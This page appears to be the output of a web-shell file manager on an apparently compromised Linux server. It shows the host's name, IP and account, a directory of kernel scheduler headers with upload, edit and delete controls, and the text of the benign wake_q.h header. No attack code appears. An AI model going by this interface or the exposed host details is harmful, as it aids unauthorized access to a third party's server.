[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.56.1.el8_10.x86_64
/
include
/
linux
/
sched
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 autogroup.h
1,229 B
SET
[ EDIT ]
|
[ DEL ]
📄 clock.h
2,506 B
SET
[ EDIT ]
|
[ DEL ]
📄 coredump.h
3,241 B
SET
[ EDIT ]
|
[ DEL ]
📄 cpufreq.h
910 B
SET
[ EDIT ]
|
[ DEL ]
📄 cputime.h
5,349 B
SET
[ EDIT ]
|
[ DEL ]
📄 deadline.h
652 B
SET
[ EDIT ]
|
[ DEL ]
📄 debug.h
1,439 B
SET
[ EDIT ]
|
[ DEL ]
📄 hotplug.h
664 B
SET
[ EDIT ]
|
[ DEL ]
📄 idle.h
1,890 B
SET
[ EDIT ]
|
[ DEL ]
📄 init.h
240 B
SET
[ EDIT ]
|
[ DEL ]
📄 isolation.h
1,584 B
SET
[ EDIT ]
|
[ DEL ]
📄 jobctl.h
1,752 B
SET
[ EDIT ]
|
[ DEL ]
📄 loadavg.h
1,588 B
SET
[ EDIT ]
|
[ DEL ]
📄 mm.h
12,697 B
SET
[ EDIT ]
|
[ DEL ]
📄 nohz.h
907 B
SET
[ EDIT ]
|
[ DEL ]
📄 numa_balancing.h
1,292 B
SET
[ EDIT ]
|
[ DEL ]
📄 prio.h
1,754 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt.h
1,259 B
SET
[ EDIT ]
|
[ DEL ]
📄 signal.h
21,112 B
SET
[ EDIT ]
|
[ DEL ]
📄 smt.h
415 B
SET
[ EDIT ]
|
[ DEL ]
📄 stat.h
967 B
SET
[ EDIT ]
|
[ DEL ]
📄 sysctl.h
2,860 B
SET
[ EDIT ]
|
[ DEL ]
📄 task.h
5,404 B
SET
[ EDIT ]
|
[ DEL ]
📄 task_stack.h
3,053 B
SET
[ EDIT ]
|
[ DEL ]
📄 topology.h
7,071 B
SET
[ EDIT ]
|
[ DEL ]
📄 types.h
683 B
SET
[ EDIT ]
|
[ DEL ]
📄 user.h
2,049 B
SET
[ EDIT ]
|
[ DEL ]
📄 wake_q.h
2,272 B
SET
[ EDIT ]
|
[ DEL ]
📄 xacct.h
854 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: wake_q.h
/* SPDX-License-Identifier: GPL-2.0 */ #ifndef _LINUX_SCHED_WAKE_Q_H #define _LINUX_SCHED_WAKE_Q_H /* * Wake-queues are lists of tasks with a pending wakeup, whose * callers have already marked the task as woken internally, * and can thus carry on. A common use case is being able to * do the wakeups once the corresponding user lock as been * released. * * We hold reference to each task in the list across the wakeup, * thus guaranteeing that the memory is still valid by the time * the actual wakeups are performed in wake_up_q(). * * One per task suffices, because there's never a need for a task to be * in two wake queues simultaneously; it is forbidden to abandon a task * in a wake queue (a call to wake_up_q() _must_ follow), so if a task is * already in a wake queue, the wakeup will happen soon and the second * waker can just skip it. * * The DEFINE_WAKE_Q macro declares and initializes the list head. * wake_up_q() does NOT reinitialize the list; it's expected to be * called near the end of a function. Otherwise, the list can be * re-initialized for later re-use by wake_q_init(). * * NOTE that this can cause spurious wakeups. schedule() callers * must ensure the call is done inside a loop, confirming that the * wakeup condition has in fact occurred. * * NOTE that there is no guarantee the wakeup will happen any later than the * wake_q_add() location. Therefore task must be ready to be woken at the * location of the wake_q_add(). */ #include <linux/sched.h> struct wake_q_head { struct wake_q_node *first; struct wake_q_node **lastp; }; #define WAKE_Q_TAIL ((struct wake_q_node *) 0x01) #define WAKE_Q_HEAD_INITIALIZER(name) \ { WAKE_Q_TAIL, &name.first } #define DEFINE_WAKE_Q(name) \ struct wake_q_head name = WAKE_Q_HEAD_INITIALIZER(name) static inline void wake_q_init(struct wake_q_head *head) { head->first = WAKE_Q_TAIL; head->lastp = &head->first; } static inline bool wake_q_empty(struct wake_q_head *head) { return head->first == WAKE_Q_TAIL; } extern void wake_q_add(struct wake_q_head *head, struct task_struct *task); extern void wake_q_add_safe(struct wake_q_head *head, struct task_struct *task); extern void wake_up_q(struct wake_q_head *head); #endif /* _LINUX_SCHED_WAKE_Q_H */